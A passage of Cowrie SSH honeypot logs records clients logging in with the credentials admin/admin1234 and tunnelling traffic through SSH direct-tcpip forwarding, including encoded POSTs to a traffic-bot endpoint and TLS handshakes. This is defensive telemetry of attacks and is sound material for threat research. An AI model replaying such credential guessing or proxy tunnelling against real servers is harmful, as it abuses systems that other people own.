\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 GS\\xcatSG\\xc5N]\\xb3\\xc0\\xec$\\x9aL|X\\xd65\\xa6\\xab\\x0c}L\\x8e\\x06\\\\\\x02*\\x19\\xf7\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.194135Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.285426Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/19A346 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/19A346 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.290801Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'_=JjU5d3Y8ZXFRQT5MJlBYeA%3D%3Dwv18c3VQu4XYhpiq3C5opyMmInuNMm3y9GEbu3l9UUJ7oh6GksFcH7ahaT3iu%2F3x1v%2F936BV25nI%2BbRsLKp6lwQ2okewFK2U115BeGY%2F1Y301qvNOJZyU0UtUtqlottDXNtxbKujJ3EY5iH%2BAnxFRqR8BSy4fcD8c9LGEmRjBZ4HSfFI0dRc1GWbq4uwqew8HWmYO5mrhWmt8JurF3ljAXgBymYQjQADeTELavXVUTgnavlBTzZ4pOrSfTl%2FNwEFbhPU%2FksXViIWV6GqM0774mnH3X457v%2FfFHy8W1%2F04TAtmc4Btb6woWIyycD62DB1z8pBBybNLIQ9B2eKJpIp1qSfQZXxiJ295OwKH8cJSPqLVoMBysnqZOa2rcSV2PVxmhMgGOASbJum4d3BIkk10sj9rriantb3eEFKg4YpNin5uaRhAHWTgaP7ikISKoS%2B3tZmA7RmM6Hn04hUrOQUfq3H4GEZl58xGzVHBghAWaudZGoDwQN5VbUsLCq2wcY%2F3bt3021fNa1FSiyphOl6bKb1e93RepKud%2FlwfCTqSZ71%2Bpc2GCQc2y19%2FM8Gzbz7hg3rbHISnaUAuD1Kf%2FU6DHiR2t9k0hQiQh08%2BJ26CHC%2Br3d0h6VySdAXBrZGJlyA0HJSf3YVvkY%2Fwk6IQkOc%2B3BEKEo9SXEiBxdOjoi7pgoZB%2BS7D1tvjv9Nq7xGYZEJuwOZ3y9FGseu%2BRyVcIl4M0MTCM%2Fyp8qCWpJAng9iamr1zrNAXxig03Zo6ShBDMp2TbFmXqX3%2F4%2Ftr1TpPtHsP6GzI%2FTfz3ryRM9vWiVddBw%2BktznI96Z6w7%2FxOsn57nhkO1zbNbkbhiluFVmBzSnpq7%2FWqhPn7qrJvSuV68y5tBpTleF50WQ1pNSyKH8YkWlw3N6qlDKTb6IgQZ%2FwKIUjsCsf4DtyOWNMwM%2FRDeF%2Fp0rqeu%2FpHY%2BENgqyJx1gUyStItvpdRQaEsPRokbmv3LkBZMyU%2BkkBh9Okbz9Vw3rZMcF2sM0HVoyzxLm019R2CIxPSguj2Z6cTTp6d4e3TE5ig0TnRIWmQz44sufu0I%2F7E%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'_=JjU5d3Y8ZXFRQT5MJlBYeA%3D%3Dwv18c3VQu4XYhpiq3C5opyMmInuNMm3y9GEbu3l9UUJ7oh6GksFcH7ahaT3iu%2F3x1v%2F936BV25nI%2BbRsLKp6lwQ2okewFK2U115BeGY%2F1Y301qvNOJZyU0UtUtqlottDXNtxbKujJ3EY5iH%2BAnxFRqR8BSy4fcD8c9LGEmRjBZ4HSfFI0dRc1GWbq4uwqew8HWmYO5mrhWmt8JurF3ljAXgBymYQjQADeTELavXVUTgnavlBTzZ4pOrSfTl%2FNwEFbhPU%2FksXViIWV6GqM0774mnH3X457v%2FfFHy8W1%2F04TAtmc4Btb6woWIyycD62DB1z8pBBybNLIQ9B2eKJpIp1qSfQZXxiJ295OwKH8cJSPqLVoMBysnqZOa2rcSV2PVxmhMgGOASbJum4d3BIkk10sj9rriantb3eEFKg4YpNin5uaRhAHWTgaP7ikISKoS%2B3tZmA7RmM6Hn04hUrOQUfq3H4GEZl58xGzVHBghAWaudZGoDwQN5VbUsLCq2wcY%2F3bt3021fNa1FSiyphOl6bKb1e93RepKud%2FlwfCTqSZ71%2Bpc2GCQc2y19%2FM8Gzbz7hg3rbHISnaUAuD1Kf%2FU6DHiR2t9k0hQiQh08%2BJ26CHC%2Br3d0h6VySdAXBrZGJlyA0HJSf3YVvkY%2Fwk6IQkOc%2B3BEKEo9SXEiBxdOjoi7pgoZB%2BS7D1tvjv9Nq7xGYZEJuwOZ3y9FGseu%2BRyVcIl4M0MTCM%2Fyp8qCWpJAng9iamr1zrNAXxig03Zo6ShBDMp2TbFmXqX3%2F4%2Ftr1TpPtHsP6GzI%2FTfz3ryRM9vWiVddBw%2BktznI96Z6w7%2FxOsn57nhkO1zbNbkbhiluFVmBzSnpq7%2FWqhPn7qrJvSuV68y5tBpTleF50WQ1pNSyKH8YkWlw3N6qlDKTb6IgQZ%2FwKIUjsCsf4DtyOWNMwM%2FRDeF%2Fp0rqeu%2FpHY%2BENgqyJx1gUyStItvpdRQaEsPRokbmv3LkBZMyU%2BkkBh9Okbz9Vw3rZMcF2sM0HVoyzxLm019R2CIxPSguj2Z6cTTp6d4e3TE5ig0TnRIWmQz44sufu0I%2F7E%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.296130Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.495383Z","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.625196Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd=\\'_\\x01\\xac\\xd15@V\\xd8PU#G\\xe2R\\'}\\xaf\\xb2\\x8a\\x04>\\xab\\x05\\xf4-|\\rl\\x15 +~{\\xc4\\x84\\xd2c\\x97\\x1bPCa|\\xce\\x10N\\tl~(\\x9d\\x93\\xef\\xc9<\\xd1\\xb0-\\xd3Lhm\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 z\\xcf=Y9w\\x8b\\\\\\x8evO\\xa6 C?\\xa34k\\x1e\\xc6\\xe9f X\\x1eD9\\xc5Z\\xa2` \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd=\\'_\\x01\\xac\\xd15@V\\xd8PU#G\\xe2R\\'}\\xaf\\xb2\\x8a\\x04>\\xab\\x05\\xf4-|\\rl\\x15 +~{\\xc4\\x84\\xd2c\\x97\\x1bPCa|\\xce\\x10N\\tl~(\\x9d\\x93\\xef\\xc9<\\xd1\\xb0-\\xd3Lhm\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 z\\xcf=Y9w\\x8b\\\\\\x8evO\\xa6 C?\\xa34k\\x1e\\xc6\\xe9f X\\x1eD9\\xc5Z\\xa2` \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.629539Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.6","message":"Connection lost after 31.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:26.442116Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52912,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fcb9aff386e","protocol":"ssh","message":"New connection: 113.164.152.20:52912 (10.17.0.5:22) [session: 0fcb9aff386e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:45.476375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:45.480658Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:45.771425Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:49.133119Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:49.957755Z","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:50.161744Z","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:50.559113Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; SM-T585N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=LyZFODRJWEhxKnJeTCtzUw%3D%3DaLJM71N8LoGnfZFCQi7LswiFouUeINEUFgHqeTTvZqQZocPncLzHr4l5Ryj8SxYFfsuSxiFV2bQ%2F0G1XtozhUfVuEI9xdxrNOWnO3DQ2F6u7nb6mEIJqGjGr02as%2FhAQcS%2FeRF4J7hCxCDssyP4njmGCnQndOmQefa%2Bhs2ajxQIRJooUkO7nFPEflfiezL%2BQpfieddrgpYceaXZpSSPq%2FA7vlun2QxGMQEyM8jllig%2FGSsDQn4HPxWi4ZXG2zPvnxou%2FBdFEjFesfwH%2FsZe7kRH8JiNzPMMI%2Fv%2FPA%2BpEWOPxYPhKElTBHLPht%2B0RJJ4OeOSj9qae6RbhkupGhMogsONrEMXT8HriU2nUiv4mtroICdcgfDN0JM4VnNozYc9y83X04eUZjP2UdSljGBRjWQ9R3Z5S0eNkh%2Bk1X%2FZYfIAc84frlSYMoWxWkJhViLBHuyaxsQFqAeS2c%2BbquUADFRPbRFeQ9Kx8avgTjPi3JYLhPOZ2n6gU24aCG0IAV7ZBHktg7lHD1WgXK0STviR9jevdrullRXZmjMBSxQfwThSjrehaQ4uvVvOkP%2FhO2lnmFlilI8%2F6VxtlIq%2BAZ%2Fgl%2F7YBhSjmXhENv%2BzQJBODwnUQLDzdQd46fX389Npr7%2BMVe8pjnxqffxy%2BMcig0ccnnyGKXEQzH1QizND%2B6XFDahN8tT1Y1Xvz3Hm48Hk7RSmdxElinpVuiKujXunySsiNUjhxvl%2BD3lNH1n0VljdCxH9QXAC1ixsRRLz7H3CIUzkEyt2d%2FftryzSjqrVcMSAaTGL7LJpsDiH7OyBPUEwJzEA1QgQXIQmJNRIwTww7iJ%2Fs0mqGImK%2F7chIAqTfS%2BMoeA5pIa4SGsBO7HenupX2qZb%2FjSx2Fpw%2F1nwVWLzyxZdwbmUi4XOLfHj%2BJF3RSQpSfQbzI8%2B87fRPv3Wiwth1xQbAEC3doR5zW%2FuUsSIjRsR2aAdUMu1at45i8TKzhlH%2Bo%2F0RqFDLcTU%2BUNtgRMsCnZUyrnlVvRhyn2nmL6d8WbUbB9dVXw9cGGarDrn7B55opnVY31sur2yPRJXuXEgfyWM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; SM-T585N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=LyZFODRJWEhxKnJeTCtzUw%3D%3DaLJM71N8LoGnfZFCQi7LswiFouUeINEUFgHqeTTvZqQZocPncLzHr4l5Ryj8SxYFfsuSxiFV2bQ%2F0G1XtozhUfVuEI9xdxrNOWnO3DQ2F6u7nb6mEIJqGjGr02as%2FhAQcS%2FeRF4J7hCxCDssyP4njmGCnQndOmQefa%2Bhs2ajxQIRJooUkO7nFPEflfiezL%2BQpfieddrgpYceaXZpSSPq%2FA7vlun2QxGMQEyM8jllig%2FGSsDQn4HPxWi4ZXG2zPvnxou%2FBdFEjFesfwH%2FsZe7kRH8JiNzPMMI%2Fv%2FPA%2BpEWOPxYPhKElTBHLPht%2B0RJJ4OeOSj9qae6RbhkupGhMogsONrEMXT8HriU2nUiv4mtroICdcgfDN0JM4VnNozYc9y83X04eUZjP2UdSljGBRjWQ9R3Z5S0eNkh%2Bk1X%2FZYfIAc84frlSYMoWxWkJhViLBHuyaxsQFqAeS2c%2BbquUADFRPbRFeQ9Kx8avgTjPi3JYLhPOZ2n6gU24aCG0IAV7ZBHktg7lHD1WgXK0STviR9jevdrullRXZmjMBSxQfwThSjrehaQ4uvVvOkP%2FhO2lnmFlilI8%2F6VxtlIq%2BAZ%2Fgl%2F7YBhSjmXhENv%2BzQJBODwnUQLDzdQd46fX389Npr7%2BMVe8pjnxqffxy%2BMcig0ccnnyGKXEQzH1QizND%2B6XFDahN8tT1Y1Xvz3Hm48Hk7RSmdxElinpVuiKujXunySsiNUjhxvl%2BD3lNH1n0VljdCxH9QXAC1ixsRRLz7H3CIUzkEyt2d%2FftryzSjqrVcMSAaTGL7LJpsDiH7OyBPUEwJzEA1QgQXIQmJNRIwTww7iJ%2Fs0mqGImK%2F7chIAqTfS%2BMoeA5pIa4SGsBO7HenupX2qZb%2FjSx2Fpw%2F1nwVWLzyxZdwbmUi4XOLfHj%2BJF3RSQpSfQbzI8%2B87fRPv3Wiwth1xQbAEC3doR5zW%2FuUsSIjRsR2aAdUMu1at45i8TKzhlH%2Bo%2F0RqFDLcTU%2BUNtgRMsCnZUyrnlVvRhyn2nmL6d8WbUbB9dVXw9cGGarDrn7B55opnVY31sur2yPRJXuXEgfyWM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:50.562635Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
